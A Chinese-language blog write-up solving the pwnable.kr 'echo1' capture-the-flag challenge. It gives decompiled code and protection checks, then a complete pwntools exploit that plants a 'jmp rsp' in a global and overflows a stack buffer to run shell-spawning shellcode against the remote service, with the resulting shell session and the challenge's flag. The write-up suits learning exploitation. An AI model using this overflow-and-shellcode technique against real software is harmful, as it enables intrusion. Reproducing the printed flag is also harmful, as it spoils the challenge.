Fork me on GitHub

pwnable.kr-echo1

前言

简单的栈溢出题目。

分析

先分析反编译的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int __cdecl main(int argc, const char **argv, const char **envp)
{
int *v3; // rsi@1
_QWORD *v4; // rax@1
int v6; // [sp+Ch] [bp-24h]@1
_QWORD v7[4]; // [sp+10h] [bp-20h]@1

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
o = malloc(0x28uLL);
*((_QWORD *)o + 3) = greetings;
*((_QWORD *)o + 4) = byebye;
printf("hey, what's your name? : ", 0LL);
v3 = (int *)v7;
__isoc99_scanf("%24s", v7);
v4 = o;
*(_QWORD *)o = v7[0];
v4[1] = v7[1];
v4[2] = v7[2];
id = v7[0];
getchar();
func[0] = (__int64)echo1;
qword_602088 = (__int64)echo2;
qword_602090 = (__int64)echo3;
v6 = 0;
do
{
while ( 1 )
{
while ( 1 )
{
puts("\n- select echo type -");
puts("- 1. : BOF echo");
puts("- 2. : FSB echo");
puts("- 3. : UAF echo");
puts("- 4. : exit");
printf("> ", v3);
v3 = &v6;
__isoc99_scanf("%d", &v6);
getchar();
if ( (unsigned int)v6 > 3 )
break;
((void (__fastcall *)(const char *, int *))func[(unsigned __int64)(unsigned int)(v6 - 1)])("%d", &v6);
}
if ( v6 == 4 )
break;
puts("invalid menu");
}
cleanup("%d", &v6);
printf("Are you sure you want to exit? (y/n)");
v6 = getchar();
}
while ( v6 != 121 );
puts("bye");
return 0;
}

1
2
3
4
5
6
7
8
9
10
__int64 echo1()
{
char s; // [sp+0h] [bp-20h]@1

(*((void (__fastcall **)(_QWORD))o + 3))(o);
get_input(&s, 128);
puts(&s);
(*((void (__fastcall **)(_QWORD, _QWORD))o + 4))(o, 128LL);
return 0LL;
}

程序主要逻辑是给出三个选项,每个选项都会执行一个echo函数,但是本题只实现了第一个echo函数。
分析echo1函数可以发现,它存在栈溢出漏洞。再看看保护

1
2
3
4
5
6
7
8
root@1:~/桌面/test$ checksec echo1
[*] '/root/\xe6\xa1\x8c\xe9\x9d\xa2/test/echo1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

思路是在栈上布置shellcode然后跳转到此处执行。但是程序没有泄漏地址的地方,这里观察到main函数中id变量被赋予了v7[0],而这里的内容是可以控制的(他就是name的前8字节)。于是可以通过在id中写入jmp rsp的指令来跳转到shellcode处执行。下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

def work(DEBUG):
context(arch='amd64',os='linux',log_level='info')
if DEBUG:
r = process('./echo1')
else:
r = remote('pwnable.kr',9010)

id_addr = 0x6020a0

r.recvuntil(' : ')
r.sendline(asm('jmp rsp'))
r.recvuntil('> ')
r.sendline('1')
r.sendline('a'*0x28+p64(id_addr)+asm(shellcraft.sh()))
r.interactive()

work(False)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@1:~/桌面/test$ python 1.py 
[+] Opening connection to pwnable.kr on port 9010: Done
[*] Switching to interactive mode
hello \xff�aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa0 `
goodbye \xff�
$
$ ls
echo1
flag
log
super.pl
$ cat flag
H4d_som3_fun_w1th_ech0_ov3rfl0w
$

总结

简单的栈溢出利用

-------------本文结束感谢您的阅读-------------

本文标题:pwnable.kr-echo1

文章作者:r00tnb

发布时间:2018年03月06日 - 14:03

最后更新:2018年08月04日 - 22:08

原始链接:https://r00tnb.github.io/2018/03/06/pwnable.kr-echo1/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

坚持原创,您的鼓励是我最大的动力!